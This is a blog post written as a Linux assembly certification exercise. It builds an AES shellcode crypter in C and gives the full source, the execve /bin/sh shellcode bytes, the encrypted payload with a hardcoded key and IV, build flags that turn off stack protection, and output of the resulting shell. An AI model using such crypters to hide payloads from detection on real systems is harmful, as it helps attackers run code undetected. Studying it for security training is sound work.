Friday 17 June 2016

x86 custom shellcode crypter

The final part of my SLAE (http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/) is to create a custom crypter as a standalone elf, to execute shellcode locally.

For this, I am going to use AES as the encryption algorithm and the execve /bin/sh shellcode payload, and code the crypter in C.  I looked around at which libraries are available...  I wasn't about to write the algorithm from scratch...!

I discovered a nice PoC using the libmcrypt Library here;
https://gist.github.com/bricef/2436364#file-aes-c

Firstly, I bastardised this program to allow me to encrypt the shellcode.
https://github.com/pabb85/SLAE/blob/master/crypt-test.c ;

 paul@SLAE001:~$ cat crypt-test.c   
 #include <stdio.h>  
 #include <stdlib.h>  
 #include <string.h>  
   
 /*  
  * MCrypt API available online:  
  * http://linux.die.net/man/3/mcrypt  
  */  
 #include <mcrypt.h>  
   
 #include <math.h>  
 #include <stdint.h>  
 #include <stdlib.h>  
   
 int encrypt(  
   void* buffer,  
   int buffer_len, /* Because the plaintext could include null bytes*/  
   char* IV,   
   char* key,  
   int key_len   
 ){  
  MCRYPT td = mcrypt_module_open("rijndael-128", NULL, "cbc", NULL);  
  int blocksize = mcrypt_enc_get_block_size(td);  
  if( buffer_len % blocksize != 0 ){return 1;}  
   
  mcrypt_generic_init(td, key, key_len, IV);  
  mcrypt_generic(td, buffer, buffer_len);  
  mcrypt_generic_deinit (td);  
  mcrypt_module_close(td);  
    
  return 0;  
 }  
   
 int decrypt(  
   void* buffer,  
   int buffer_len,  
   char* IV,   
   char* key,  
   int key_len   
 ){  
  MCRYPT td = mcrypt_module_open("rijndael-128", NULL, "cbc", NULL);  
  int blocksize = mcrypt_enc_get_block_size(td);  
  if( buffer_len % blocksize != 0 ){return 1;}  
    
  mcrypt_generic_init(td, key, key_len, IV);  
  mdecrypt_generic(td, buffer, buffer_len);  
  mcrypt_generic_deinit (td);  
  mcrypt_module_close(td);  
    
  return 0;  
 }  
   
 void display(char* ciphertext, int len){  
  int v;  
  for (v=0; v<len; v++){  
   printf("%c", ciphertext[v]);  
  }  
  printf("\n");  
 }  
   
 int main()  
 {  
  MCRYPT td, td2;  
  unsigned char * plaintext = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";  
  char* IV = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";  
  char *key = "0123456789abcdef0123456789abcdef";  
  int keysize = 32; /* 128 bits */  
  unsigned char* buffer;  
  int buffer_len = 32;  
   
  buffer = calloc(1, buffer_len);  
  strncpy(buffer, plaintext, buffer_len);  
   
  printf("==C==\n");  
  printf("plain:  %s\n", plaintext);  
  encrypt(buffer, buffer_len, IV, key, keysize);   
  printf("cipher: "); display(buffer , buffer_len);  
  decrypt(buffer, buffer_len, IV, key, keysize);  
  printf("decrypt: %s\n", buffer);  
   
  return 0;  
 }  
 paul@SLAE001:~$ gcc crypt-test.c -o crypt-test -m32 -fno-stack-protector -z execstack -lmcrypt  
 paul@SLAE001:~$ ./crypt-test |hexdump -C  
 00000000 3d 3d 43 3d 3d 0a 70 6c 61 69 6e 3a 20 20 20 31 |==C==.plain:  1|  
 00000010 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 50 89 |.Ph//shh/bin..P.|  
 00000020 e2 53 89 e1 b0 0b cd 80 0a 63 69 70 68 65 72 3a |.S.......cipher:|  
 00000030 20 20 27 02 b8 1b cc 83 26 55 ec bb 06 82 33 bc | '.....&U....3.|  
 00000040 22 cf aa 35 ab d4 cf b0 ed 5c 0a 11 30 32 e6 eb |"..5.....\..02..|  
 00000050 71 1f 0a 64 65 63 72 79 70 74 3a 20 31 c0 50 68 |q..decrypt: 1.Ph|  
 00000060 2f 2f 73 68 68 2f 62 69 6e 89 e3 50 89 e2 53 89 |//shh/bin..P..S.|  
 00000070 e1 b0 0b cd 80 0a                 |......|  
 00000076  
 paul@SLAE001:~$   
   


After this, I again hacked the elegant original file into a messy decryption program.
https://github.com/pabb85/SLAE/blob/master/decrypt-test.c ;

 paul@SLAE001:~$ cat decrypt-test.c   
 #include <stdio.h>  
 #include <stdlib.h>  
 #include <string.h>  
   
 /*  
  * MCrypt API available online:  
  * http://linux.die.net/man/3/mcrypt  
  */  
 #include <mcrypt.h>  
   
 #include <math.h>  
 #include <stdint.h>  
 #include <stdlib.h>  
   
 int encrypt(  
   void* buffer,  
   int buffer_len, /* Because the plaintext could include null bytes*/  
   char* IV,   
   char* key,  
   int key_len   
 ){  
  MCRYPT td = mcrypt_module_open("rijndael-128", NULL, "cbc", NULL);  
  int blocksize = mcrypt_enc_get_block_size(td);  
  if( buffer_len % blocksize != 0 ){return 1;}  
   
  mcrypt_generic_init(td, key, key_len, IV);  
  mcrypt_generic(td, buffer, buffer_len);  
  mcrypt_generic_deinit (td);  
  mcrypt_module_close(td);  
    
  return 0;  
 }  
   
 int decrypt(  
   void* buffer,  
   int buffer_len,  
   char* IV,   
   char* key,  
   int key_len   
 ){  
  MCRYPT td = mcrypt_module_open("rijndael-128", NULL, "cbc", NULL);  
  int blocksize = mcrypt_enc_get_block_size(td);  
  if( buffer_len % blocksize != 0 ){return 1;}  
    
  mcrypt_generic_init(td, key, key_len, IV);  
  mdecrypt_generic(td, buffer, buffer_len);  
  mcrypt_generic_deinit (td);  
  mcrypt_module_close(td);  
    
  return 0;  
 }  
   
 void display(char* ciphertext, int len){  
  int v;  
  for (v=0; v<len; v++){  
   printf("\\x%x", ciphertext[v]);  
  }  
  printf("\n");  
 }  
   
 int main()  
 {  
  MCRYPT td, td2;  
  char * plaintext = "\x27\x02\xb8\x1b\xcc\x83\x26\x55\xec\xbb\x06\x82\x33\xbc\x22\xcf\xaa\x35\xab\xd4\xcf\xb0\xed\x5c\x0a\x11\x30\x32\xe6\xeb\x71\x1f";  
  char* IV = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";  
  char *key = "0123456789abcdef0123456789abcdef";  
  int keysize = 32; /* 128 bits */  
  char* buffer;  
  int buffer_len = 32;  
   
  buffer = calloc(1, buffer_len);  
  strncpy(buffer, plaintext, buffer_len);  
   
  printf("==C==\n");  
  //printf("plain:  %s\n", plaintext);  
  //encrypt(buffer, buffer_len, IV, key, keysize);   
  printf("cipher: "); display(buffer , buffer_len);  
  decrypt(buffer, buffer_len, IV, key, keysize);  
  printf("decrypt: %s\n", buffer);  
    
  //jump into SC  
  printf("Shellcode Length: %d\n", strlen(buffer));  
  int (*ret)() = (int(*)())buffer;  
  ret();  
   
  return 0;  
 }  
 paul@SLAE001:~$ gcc decrypt-test.c -o decrypt-test -m32 -fno-stack-protector -z execstack -lmcrypt  
 paul@SLAE001:~$ ./decrypt-test   
 ==C==  
 cipher: \x27\x2\xffffffb8\x1b\xffffffcc\xffffff83\x26\x55\xffffffec\xffffffbb\x6\xffffff82\x33\xffffffbc\x22\xffffffcf\xffffffaa\x35\xffffffab\xffffffd4\xffffffcf\xffffffb0\xffffffed\x5c\xa\x11\x30\x32\xffffffe6\xffffffeb\x71\x1f  
 decrypt: 1�Ph//shh/bin��P��S���  
   
 Shellcode Length: 25  
 $ id  
 uid=1000(paul) gid=1000(paul) groups=1000(paul),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)  
 $   
   


Wahey!!  This works.  Note that the decrypt-test.c doesn't contain the unencrypted version of the shellcode :-)

So finally, clean up the code somewhat to complete the exercise and my exam submission for SLAE..!
https://github.com/pabb85/SLAE/blob/master/crypter-final.c ;

 paul@SLAE001:~$ cat crypter-final.c   
 #include <stdio.h>  
 #include <stdlib.h>  
 #include <string.h>  
 #include <mcrypt.h>  
 #include <math.h>  
 #include <stdint.h>  
 #include <stdlib.h>  
   
   
 int decrypt(  
   void* buffer,  
   int buffer_len,  
   char* IV,   
   char* key,  
   int key_len   
 ){  
  MCRYPT td = mcrypt_module_open("rijndael-128", NULL, "cbc", NULL);  
  int blocksize = mcrypt_enc_get_block_size(td);  
  if( buffer_len % blocksize != 0 ){return 1;}  
    
  mcrypt_generic_init(td, key, key_len, IV);  
  mdecrypt_generic(td, buffer, buffer_len);  
  mcrypt_generic_deinit (td);  
  mcrypt_module_close(td);  
    
  return 0;  
 }  
   
   
 int main()  
 {  
  MCRYPT td, td2;  
  char * crypted_sc = "\x27\x02\xb8\x1b\xcc\x83\x26\x55\xec\xbb\x06\x82\x33\xbc\x22\xcf\xaa\x35\xab\xd4\xcf\xb0\xed\x5c\x0a\x11\x30\x32\xe6\xeb\x71\x1f";  
  char* IV = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";  
  char *key = "0123456789abcdef0123456789abcdef";  
  int keysize = 32; /* 128 bits */  
  char* buffer;  
  int buffer_len = 32;  
   
  buffer = calloc(1, buffer_len);  
  strncpy(buffer, crypted_sc, buffer_len);  
  decrypt(buffer, buffer_len, IV, key, keysize);  
    
  //jump into SC  
  int (*ret)() = (int(*)())buffer;  
  ret();  
   
  return 0;  
 }  
 paul@SLAE001:~$ gcc crypter-final.c -o crypter-final -m32 -fno-stack-protector -z execstack -lmcrypt  
 paul@SLAE001:~$ ./crypter-final   
 $ id  
 uid=1000(paul) gid=1000(paul) groups=1000(paul),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)  
 $   
   



This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification, Student ID:  SLAE-469.